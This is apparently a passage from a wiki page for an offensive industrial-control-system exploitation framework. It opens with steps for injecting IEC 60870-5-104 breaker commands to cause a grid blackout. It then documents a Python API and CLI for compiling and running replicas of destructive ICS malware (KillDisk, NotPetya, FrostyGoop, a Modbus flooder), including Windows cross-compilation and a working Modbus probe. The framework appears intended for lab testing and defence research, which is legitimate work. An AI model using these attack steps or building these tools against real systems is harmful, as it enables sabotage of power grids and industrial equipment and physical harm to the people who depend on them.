 Send Interrogation Command (C_IC_NA_1, TypeID=100) to dump all RTU data
 Parse General Interrogation response: current circuit breaker states
 Map: Information Object Address → physical breaker/switch position
 Phase 4: Control Command Injection (LIGHTWORK technique)
 Send Single Command (C_SC_NA_1, TypeID=45) with:
 - IOA: target breaker address
 - SCO: 0x01 (ON) or 0x00 (OFF)
 - COT: 0x06 (Activation)
 Effect: RTU executes breaker open/close command
 Physical: Circuit breaker opens → load shedding → blackout in grid zone
 Target: 192.168.1.100:2404 (IEC 60870-5-104 RTU)
 Impact: Circuit breaker manipulation → targeted grid blackout
 LIGHTWORK can target multiple IOAs in sequence (substation-wide)
 [i] MITRE ATT&CK for ICS:
 T0855 (Unauthorized Command Message)
 T0831 (Manipulation of Control)
 T0816 (Device Restart/Shutdown)
 ─────────────────────────────────────────────────────────────────────
 [i] Reference: https://www.mandiant.com/resources/blog/cosmicenergy-ot-malware
 [i] Reference: https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a
 [i] Run with simulate=False and destructive=True to execute live
 (authorized lab environments only)

PolyExploitRunner Python API — All Methods

from industrialxpl.core.poly.poly_runner import PolyExploitRunner

Constructor

runner = PolyExploitRunner(
 build_dir: str = ".tmp/malware_builds", # Output directory for compiled artifacts
 timeout: int = 60, # Maximum execution time per command (seconds)
 verbose: bool = False, # Print compiler output to stdout
)

get_available_runtimes()

Returns a dict of runtime name to availability boolean.

runner = PolyExploitRunner()
available = runner.get_available_runtimes()
print(available)
# {
# 'gcc': True, 'g++': True, 'go': True, 'node': False,
# 'java': False, 'ruby': False, 'pwsh': False, 'perl': True,
# 'mingw-gcc': True, 'cl.exe': False
# }

run_with_fallback()

Runs an external runtime command, falling back to a Python function if the runtime is unavailable.

def my_python_fallback(target: str) -> None:
 """Python implementation of the same logic."""
 import socket
 s = socket.socket()
 s.connect((target, 502))
 s.send(b'\x00\x01\x00\x00\x00\x06\x01\x04\x00\x00\x00\x01')
 data = s.recv(16)
 s.close()
 print("Response:", data.hex())
returncode, stdout, stderr = runner.run_with_fallback(
 runtime="ruby",
 external_cmd=["ruby", "exploits/modbus_scan.rb", "--target", "192.168.1.1"],
 python_fallback=my_python_fallback,
 args=("192.168.1.1",),
 kwargs={},
 timeout=30,
)
print("Exit:", returncode)
print("Stdout:", stdout)

compile_and_run_c()

Compiles a C source file with gcc and runs the resulting binary.

returncode, stdout, stderr = runner.compile_and_run_c(
 source_file="industrialxpl/modules/cve/malware/_native/src/modbus_flood.c",
 compile_flags=["-O2", "-Wall", "-pthread"],
 args=["--target", "192.168.1.1", "--simulate"],
 timeout=30,
)
print("Exit:", returncode)
print("Output:", stdout)

compile_and_run_cpp()

Compiles a C++ source file with g++ and runs the resulting binary.

returncode, stdout, stderr = runner.compile_and_run_cpp(
 source_file="industrialxpl/modules/cve/malware/_native/src/s7_watchdog.cpp",
 compile_flags=["-O2", "-std=c++17", "-Wall"],
 args=["--target", "192.168.1.5", "--simulate"],
 timeout=30,
)

compile_and_run_c_windows()

Cross-compiles a C source for Windows using MinGW and runs it via Wine (Linux) or directly (Windows).

returncode, stdout, stderr = runner.compile_and_run_c_windows(
 source_file="industrialxpl/modules/cve/malware/_native/src/killdisk.c",
 compile_flags=["-O2", "-Wall"],
 args=["--simulate"],
 timeout=30,
)
# On Linux: requires mingw-w64 for compilation, wine for execution
# On Windows: uses cl.exe or mingw directly

run_go()

Builds and runs a Go source file or package directory.

returncode, stdout, stderr = runner.run_go(
 source_file="industrialxpl/modules/cve/malware/_native/src/frostygoop/",
 args=["--target", "192.168.1.100", "--simulate"],
 go_env={"GOOS": "linux", "GOARCH": "amd64"},
 timeout=60,
)

run_ruby()

Runs a Ruby script with optional Python fallback.

returncode, stdout, stderr = runner.run_ruby(
 script_file="exploits/protocols/modbus/modbus_scan.rb",
 args=["--target", "192.168.1.1"],
 python_fallback=my_python_modbus_scan,
 python_args=("192.168.1.1",),
 timeout=30,
)

run_powershell()

Runs a PowerShell script (cross-platform via pwsh).

returncode, stdout, stderr = runner.run_powershell(
 script_file="exploits/windows/ews_exploit.ps1",
 args=["-Target", "192.168.1.1", "-Simulate"],
 python_fallback=my_python_ews_exploit,
 timeout=60,
)

run_node()

Runs a Node.js script.

returncode, stdout, stderr = runner.run_node(
 script_file="exploits/protocols/enip/enip_list_identity.js",
 args=["--target", "192.168.1.1", "--simulate"],
 python_fallback=my_python_enip_scan,
 timeout=30,
)

env_report()

Prints the full environment report (same as python tools/env_doctor.py).

runner.env_report()
# Prints full Tier 0-3 status to stdout

build_malware_artifact()

Compiles a named malware builder target and returns the binary path.

binary_path = runner.build_malware_artifact(
 target="frostygoop", # killdisk / notpetya / frostygoop / modbus_flood / s7_watchdog
 cross_windows=False, # Set True to cross-compile for Windows
)
# Returns: ".tmp/malware_builds/frostygoop" (or None on build failure)
print("Built:", binary_path)

Return Value Format

All run_* methods return a 3-tuple: (returncode: int, stdout: str, stderr: str).

Field Type Description
returncode int Process exit code. 0 = success, -1 = runtime not found or timeout, >0 = runtime error
stdout str Captured standard output from the process
stderr str Captured standard error output from the process

Return code meanings:

Code Meaning
0 Successful execution
-1 Runtime not found (e.g., gcc not installed), or Python fallback was used
-2 Execution timed out (exceeded timeout parameter)
1 Runtime error (compilation error, script exception)
>1 Runtime-specific exit codes (see individual tool docs)

Example usage:

returncode, stdout, stderr = runner.compile_and_run_c(
 source_file="src/modbus_flood.c",
 args=["--simulate"],
)
if returncode == 0:
 print("Success:", stdout)
elif returncode == -1:
 print("gcc not available — Python fallback was used")
elif returncode == -2:
 print("Execution timed out")
else:
 print(f"Error (code {returncode}):", stderr)

Python Fallback Mechanism

When an external runtime is not available, PolyExploitRunner automatically uses the registered Python fallback. This is transparent to the caller — the return value format is the same.

How fallback is selected:

run_with_fallback() called
 │
 ▼
Check runtime availability (get_available_runtimes())
 │
 available?
 ┌─ YES ─────────────────────────────────────────────┐
 │ Execute external runtime command via subprocess │
 │ Capture stdout, stderr, returncode │
 │ Return (returncode, stdout, stderr) │
 └───────────────────────────────────────────────────┘
 ┌─ NO ──────────────────────────────────────────────┐
 │ Call python_fallback(*args, **kwargs) │
 │ Capture stdout via io.StringIO redirect │
 │ Return (-1, captured_output, "fallback used") │
 └───────────────────────────────────────────────────┘

Full fallback example:

import io
import contextlib
from industrialxpl.core.poly.poly_runner import PolyExploitRunner
runner = PolyExploitRunner()
def python_modbus_scan(target: str, port: int = 502) -> None:
 """Pure Python Modbus scanner (Tier 0 — no dependencies)."""
 import socket, struct
 probe = struct.pack(">HHHBBHH", 1, 0, 6, 1, 0x04, 0, 1)
 try:
 s = socket.socket()
 s.settimeout(5)
 s.connect((target, port))
 s.send(probe)
 resp = s.recv(16)
 s.close()
 if resp[0:2] == b'\x00\x01':
 print(f"[+] Modbus device at {target}:{port}")
 else:
 print(f"[-] No Modbus at {target}:{port}")
 except Exception as e:
 print(f"[!] Error: {e}")
# If ruby is not installed, python_modbus_scan() is called transparently
returncode, stdout, stderr = runner.run_with_fallback(
 runtime="ruby",
 external_cmd=["ruby", "exploits/modbus_scan.rb", "--target", "192.168.1.1"],
 python_fallback=python_modbus_scan,
 args=("192.168.1.1", 502),
)
if returncode == -1:
 print("Used Python fallback (ruby not available)")
else:
 print("Used ruby runtime")
print("Output:", stdout)

Cross-Compilation for Windows from Linux

IXF supports cross-compiling Windows PE executables from Linux using MinGW-w64. This is useful when testing Windows-targeted malware TTPs (KillDisk, NotPetya) from a Linux-based lab.

Requirements

# Install MinGW-w64 cross-compiler
apt install mingw-w64 wine
# Verify
x86_64-w64-mingw32-gcc --version
wine --version

Building Windows EXE

# Cross-compile killdisk for Windows
python industrialxpl/modules/cve/malware/_native/malware_builder.py \
 --target killdisk \
 --cross-windows
# Output:
# [BUILD] x86_64-w64-mingw32-gcc -O2 -Wall -o .tmp/malware_builds/killdisk.exe src/killdisk.c
# [OK] .tmp/malware_builds/killdisk.exe (42 KB) — windows/amd64

Running Windows EXE in simulate mode (via Wine)

# Test simulate output via Wine on Linux
wine .tmp/malware_builds/killdisk.exe --simulate

Output:

[IXF] KillDisk MBR Wiper — BlackEnergy3/Industroyer Replica
[Windows PE — wine execution]
[SIMULATION — no disk writes]
...
(same output as Linux version)

Build all for Windows

python industrialxpl/modules/cve/malware/_native/malware_builder.py \
 --all --cross-windows

Output:

[IXF Malware Builder] Building all targets for Windows (MinGW cross-compile)
════════════════════════════════════════════════════════════
[1/5] killdisk.exe (C — x86_64-w64-mingw32-gcc)
 [BUILD] x86_64-w64-mingw32-gcc -O2 -Wall -o .tmp/malware_builds/killdisk.exe src/killdisk.c
 [OK] .tmp/malware_builds/killdisk.exe (42 KB)
[2/5] notpetya.exe (CPP — x86_64-w64-mingw32-g++)
 [BUILD] x86_64-w64-mingw32-g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/notpetya.exe src/notpetya.cpp
 [OK] .tmp/malware_builds/notpetya.exe (61 KB)
[3/5] frostygoop.exe (GO — GOOS=windows GOARCH=amd64)
 [BUILD] GOOS=windows GOARCH=amd64 go build -o .tmp/malware_builds/frostygoop.exe ./src/frostygoop/...
 [OK] .tmp/malware_builds/frostygoop.exe (2.3 MB)
[4/5] modbus_flood.exe (C — x86_64-w64-mingw32-gcc)
 [BUILD] x86_64-w64-mingw32-gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood.exe src/modbus_flood.c
 [OK] .tmp/malware_builds/modbus_flood.exe (26 KB)
[5/5] s7_watchdog.exe (CPP — x86_64-w64-mingw32-g++)
 [BUILD] x86_64-w64-mingw32-g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/s7_watchdog.exe src/s7_watchdog.cpp
 [OK] .tmp/malware_builds/s7_watchdog.exe (53 KB)
════════════════════════════════════════════════════════════
[Summary] 5/5 Windows targets built successfully
 Output: .tmp/malware_builds/*.exe
 Test: wine .tmp/malware_builds/killdisk.exe --simulate
════════════════════════════════════════════════════════════

Python API for cross-compilation

from industrialxpl.core.poly.poly_runner import PolyExploitRunner
runner = PolyExploitRunner()
# Check MinGW availability
runtimes = runner.get_available_runtimes()
if runtimes.get("mingw-gcc"):
 binary_path = runner.build_malware_artifact(
 target="killdisk",
 cross_windows=True, # Produces .exe
 )
 print("Windows binary:", binary_path) # .tmp/malware_builds/killdisk.exe
 # Run via Wine for simulate test
 returncode, stdout, stderr = runner.run_with_fallback(
 runtime="wine",
 external_cmd=["wine", binary_path, "--simulate"],
 python_fallback=None, # No Python fallback for Wine execution
 )
 print("Simulate output:", stdout)
else:
 print("MinGW not available — install: apt install mingw-w64")

Previous: CLI Non-Interactive | Next: Assessment & Compliance

Clone this wiki locally

AltStyle によって変換されたページ (->オリジナル) /